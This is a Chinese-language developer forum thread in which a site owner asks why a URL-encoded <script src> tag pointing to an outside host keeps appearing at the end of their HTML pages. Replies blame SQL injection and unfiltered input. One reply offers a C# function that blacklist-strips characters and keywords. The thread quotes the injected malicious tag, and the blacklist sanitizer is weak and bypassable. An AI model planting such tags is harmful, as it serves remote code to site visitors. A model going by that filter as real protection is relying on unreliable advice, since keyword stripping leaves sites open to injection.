网站被挂JS代码

[lcglvgn]

现有一网站 经常被挂js代码 代码如下 <script src=http://%77%2E%74%6F%79%6F%6E%79%2E%63%6F%6D%2E%63%6E></script>
通常写在html的末尾 此问题以前提过 但是我描述的不够详尽 有人能给解释下 这个是什么原因吗 是怎么引起的这个漏洞 这个漏洞叫什么（最经经常听说sql注入和上传漏洞等 我的属于哪种） 怎么解决？因为经常被挂 所以尽量要求彻底解决（暂时解决的方案也可以 老是删js代码除外 ） 谢谢帮忙

[lcglvgn]

是跨页面传值引起的。。。。 这个方法就能解决我的问题吗？

[lcglvgn]

谁能给我讲下是怎么入侵的吗？

[狼王_]

友情帮顶

[mngzilin]

在Global中进行全局参数过滤。

[nbgcqlk]

将每个文本框的值进行过滤，比如，他在文本框里输入脚本，你没过滤就会出现那样

[Lovely_baby]

结合4楼 和 8 楼的方法 全局就过滤

[wuyq11]

存在SQL注入和上传漏洞，在global里判断条件防止SQL注入。同时数据库操作采用参数化
http://topic.csdn.net/u/20090818/09/80DB1C07-2A0F-4E05-BF3C-585FDEC0D205.html
http://topic.csdn.net/u/20090721/09/5b67c2a7-1dd8-4b54-ba07-b1ada5236a7d.html

[owftckb]

帮顶了只能

[杰子]

http://topic.csdn.net/u/20090729/14/26381958-0D6E-4B90-BC90-D275E9621F93.html
总结的相当的好

[phf0313]

帮顶。

[lcglvgn]

那个帖子我曾经看过 我是个菜鸟 能不能给我详细的讲讲我的到底属于什么漏洞 是由什么引起的 怎么解决 服务器肯定没问题 服务器是租的 基本排除服务器问题

[杰子]

其实这个问题很简单，不是服务器的问题，就是你的代码的问题，是代码疏忽..
改正代码才是硬道理
把你网址传的值 都过滤一下。非法字符除去
public static string ReplaceBadChar(string strChar)
{
if (strChar.Trim() == "")
{
return "";
}
else
{
strChar = strChar.Replace("'", "");
strChar = strChar.Replace("*", "");
strChar = strChar.Replace("?", "");
strChar = strChar.Replace("(", "");
strChar = strChar.Replace(")", "");
strChar = strChar.Replace("<", "");
strChar = strChar.Replace("=", "");
strChar = strChar.Replace("--", "");
strChar = strChar.Replace("update", "");
strChar = strChar.Replace("script", "");
strChar = strChar.Replace("insert", "");
strChar = strChar.Replace("delete", "");
strChar = strChar.Replace("/", "");
strChar = strChar.Replace("//", "");
return strChar.Trim();
}
}